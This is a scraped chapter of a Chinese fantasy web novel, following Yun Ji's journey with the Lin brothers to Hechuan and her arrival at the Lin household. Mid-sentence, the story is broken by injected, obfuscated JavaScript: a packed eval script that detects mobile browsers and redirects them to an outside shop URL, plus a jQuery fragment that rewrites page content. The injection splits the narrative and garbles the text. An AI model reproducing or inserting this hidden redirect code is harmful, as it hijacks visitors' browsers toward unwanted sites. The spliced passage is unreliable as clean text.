28. 第 28 章
    “有劳。”

    云霁迟疑着接过末端支起棱角的信笺,摸到其中有块硬硬的物体。

    拆开后在半空中抖抖,一块碧色圆形玉佩掉入手中。

    捏着光滑的边缘将其举在光下翻来覆去地看,上面的纹路她勉强能辨认出是个有尾巴的兽纹,除此之外,头部模糊躯干扭曲,再分析不出更多的信息。

    好端端的,这是做什么。

    想不通,云霁抬手再抖抖,这次掉出张信纸。

    “临别匆匆,未及面辞实为憾事。此玉佩乃来时偶得之珍宝,虽未知其有何特殊用处,然觉它与姑娘颇为契合,故特赠予姑娘,以深谢连日来对吾徒风起照拂之恩情。”

    字体苍劲有力,墨迹肆意压在红色隔线上。

    话说得还挺漂亮。

    不过她的确有在尽力保护风起,虽然效果未达预期,但这份礼物也算受之无愧。

    摩挲着质感细腻的光洁玉佩,云霁没有把它放回空间,而是别进腰间玉带里。

    根据她多年的经验,这种高人赠送的物品往往会在关键时刻有大作用,这条定律在书中世界没准同样适用,还是随身携带的好,保不齐能救命。

    “苏姑娘!可算找着您了。”

    循声望去,来人穿的是林家仆从的衣服。

    收好信笺,宽大的衣袖挡住他窥探的目光。

    “苏姑娘,二公子遣我来知会您一声,半个时辰后,咱们就出发。”

    “这么快?”

    云霁睁大眼睛,方才起了阵风,马车的轿帘被吹开些,她余光瞥见其中堆放着大大小小的木箱。

    既然拜师未果,这兄弟二人又因何这样着急,连一夜都等不得。

    “时间不是问题,苏姑娘慢慢收拾便好,不必着急。”

    仆从还未回话,林逸声音先至,端方有礼的公子气度拿捏的很是恰当,跟在他身后的林峰也一反常态地对她和颜悦色。

    这么客气?

    云霁愣了两秒,回过神来道了句谢。

    在客栈的人上街宣传林峰捐钱后,她才想到这样大的动静,极有可能会传到林逸耳朵中去,而她的小伎俩林逸不会看不明白。

    本来还在发愁林逸或许会因此对她心生芥蒂,但目前看来,她的担心有些多余。

    “收拾好了,可以出发了。”

    她的东西本就不多,纪青阳亦没什么可带的,不过一刻钟,就再次回到了门口。

    只是这回林逸对她的态度较方才有过之而无不及,甚至可以称得上……殷勤?

    “这两个丫头处事周到伶俐,苏姑娘看看可还满意?”

    “不必……”

    推辞间,一个熟悉的面孔在眼前一晃而过。

    是林峰那个被赶出城主府的侍从。

    云霁见此想通了其中内情。

    林逸应是从他口中听到祁景给她留了信,才成了这副模样。

    真是奇了,他对祁景比他那个要正经拜师的弟弟似乎更加上心,这两兄弟的感情,竟好到如此地步吗?

    “不必客气,这辆马车乃我林家重金定制,稳当舒适,苏姑娘快请。”

    “公子误会,早听闻西北风景壮丽,前行路上正好骑马观赏。况且,我还想顺便和两位打听些襄河的风俗,坐在马车里还是有些不便。”

    林逸的表情有一瞬间的不自然,又很快遮掩过去:“应该的。”随后指了一人,“你,去挑两匹好马来。”

    “一匹,一匹就够了,我受不了骑马的颠簸,还是坐马车吧。”

    恐高还晕马,修为也不行,人魔混血的体质怎得这样弱。

    云霁望着爬上马车的黑色身影暗自嘀咕。

    下人的效率很快,不多时就牵来一匹红鬃马,皮毛油亮,身形矫健。

    从未接触过马匹的云霁小心翼翼地抚过它的毛发,确认它脾性温良,才翻身上马。

    一行人各怀鬼胎,赶在天黑之前出了狮岭镇。

    五日后,本该骑在马上的云霁这会儿正倚在马车中,神色倦怠。

    骑马的兴奋劲已然褪去,在马上颠簸几日,累得腰酸背痛不说,还没探听到多少有用的消息。

    幽怨的目光盯着前方的轿帘。

    林逸果然不是个好对付的,一路上,她每次刚有询问林家相关事情的苗头,都被他有意引到风土人情上去,偏偏这是当初自己说出的借口,只好硬着头皮听下去。

    最后一日,云霁实在受不了了,放弃了原定计划,钻进纪青阳所在的那辆马车中,抱着剑往旁边一靠,唉声叹气。

    “你还挺能忍,我以为你最多撑不过三日。”

    纪青阳放下两侧的帘子,挡住刺目的光线。

    作为一个骑不过两个时辰必吐的人,他打心眼里佩服云霁。

    “我可算明白你为什么宁愿磨练自己跑步的本事了,骑马赶路好生难捱。”

    云霁半点不想动弹,说话也有气无力,她如今无比庆幸自己的灵魂能寄居在苏云星身上,能御剑简直是天底下最美好的事。

    深有同感地附和两声,纪青阳刚想问她究竟想知道些什么,车窗蓦然被敲响。

    “二位,鹤川就在前方,再过一炷香就到了。”

    “多谢提醒。”

    当今王庭位于西北,襄河呈弧形环绕在它的东北方向。

    三大世家皆盘踞此地,两大宗门又有众多修士出自他们族中子弟,或是被他们笼络,势力非同一般,即便是王庭,也不得不给他们面子。

    因此襄河城控制的范围正在扩大,而鹤川正是近几年被划分到襄河下辖的小城。

    这对不甘屈居鹤川的林家来说,自然称得上是件好事。

    歇了多年的心思再次活络起来,把主意打到了祁景——这个王庭与陈、余、柳三家都没能收入麾下的人身上,不惜耗费大量金银钱财,搜寻各种奇珍异宝,企图借他之势重铸往日荣光。

    马蹄哒哒声逐渐放慢,耳边嘈杂的声音越来越响,云霁耐不住好奇,坐起身子撩开车帘,入眼的繁华景象令她忍不住咂舌。

    街上行人如织,因着行商

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368800|137686||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起家的林氏在此,百姓莫不效仿他们的奢靡做派,一眼望去,几乎瞧不见粗布麻衣。

    商铺密布,琳琅满目,从街头到巷尾,各式商品应有尽有。

    那些在狮岭镇中难得一见的低阶灵草,在这里却成为了寻常之物,甚至连贩卖丹药的铺子都有,只不过这种地方飞檐翘角,古朴典雅,大门紧闭,多数人只能在外渴求地注目良久,最后遗憾走开。

    想来门槛不低。

    放下帘子,隔绝了路人张望的目光。

    车轮滚动的声音渐熄。

    “侄儿这一路上累坏了吧,看着收获不少啊,快进来歇歇。大哥你说说,这样出门见世面的好事,怎么就不想着带上我家烨儿呢。”

    尖利的嗓音听得人很不舒服。

    “这是林家家主的长子林柏文,吃喝嫖赌样样不落,还闹出不少人命,导致林家多年积攒的声誉险些毁于一旦,家主怒极勒令他带着妻子离开林家,可惜这厮是个脸皮厚的,即使被族谱除了名,也死拖着不走,硬赖在家里吸血。最后挨了顿打,丢了半条命,这才收敛些。”

    下了马车的二人站在角落里,纪青阳压低声音,脑袋歪向云霁轻声解释:“旁边那人是家主次子林松文,也就是那两兄弟的父亲,向来只知道忍让妥协,家主自觉有愧于他,给了他不少好东西作为补偿,看得林柏文眼热,时不时就找他阴阳怪气一番。”

    看着身着绮绣锦衣,肩膀微微前叩的中年男子,面对林柏文的咄咄逼人,只干笑着,将求救的视线投向自己儿子。

    果然是个怯懦的。

    “大伯说的哪里话,我们走得急,烨弟弟又尚未归家,祖父催得紧,实在是等不得。”林逸老练地将家主抬出,看他不满还想继续纠缠,便引他看向云霁二人,“这两位是随我来的贵客,须得先将他们安顿好,晚些再同大伯叙旧。”

    带人回家这事他没提前告知家里,就是怕这位大伯会从中作梗,没成想还是遇见了。

    林柏文眼皮掀了一半,偏头瞧见云霁时,瞬间扭正了身形,发福的脸颊挤作一团,不怀好意的浑浊视线令云霁心理不适。

    赶在他搭话前,云霁紧抿着唇跟在林逸父子身后进了府,纪青阳撞开林柏文凑上前的身躯,顺便瞪了他一眼。

    林伯文揉揉发痛的肩头,还想跟上,却被走在末端的林峰狠狠甩开。

    就在这时,厚重的府门下端被一道不知从何而来的灵气拉扯着半掩,突起的门闩正对上没寻到支撑倒下的人。

    “砰!”

    “啊!”

    脊骨砸在上面,剧痛贯穿全身,疼的林柏文龇牙咧嘴,正想斥责几句,见能管住这混小子的弟弟和大侄子已经走远。

    由于忌惮林峰的修为,他不敢多嘴,将满腔的怨愤、咽回肚中,转而抓住来搀扶他的下人,缓缓向自己的院落挪去。脊背传来的痛觉久久未散,他不得不时不时地停下来,紧闭双眼,深深地倒吸一口冷气,以此来缓解那锥心刺骨的疼痛。

    额头上细密的汗珠不断汇聚,更显得他面色狰狞。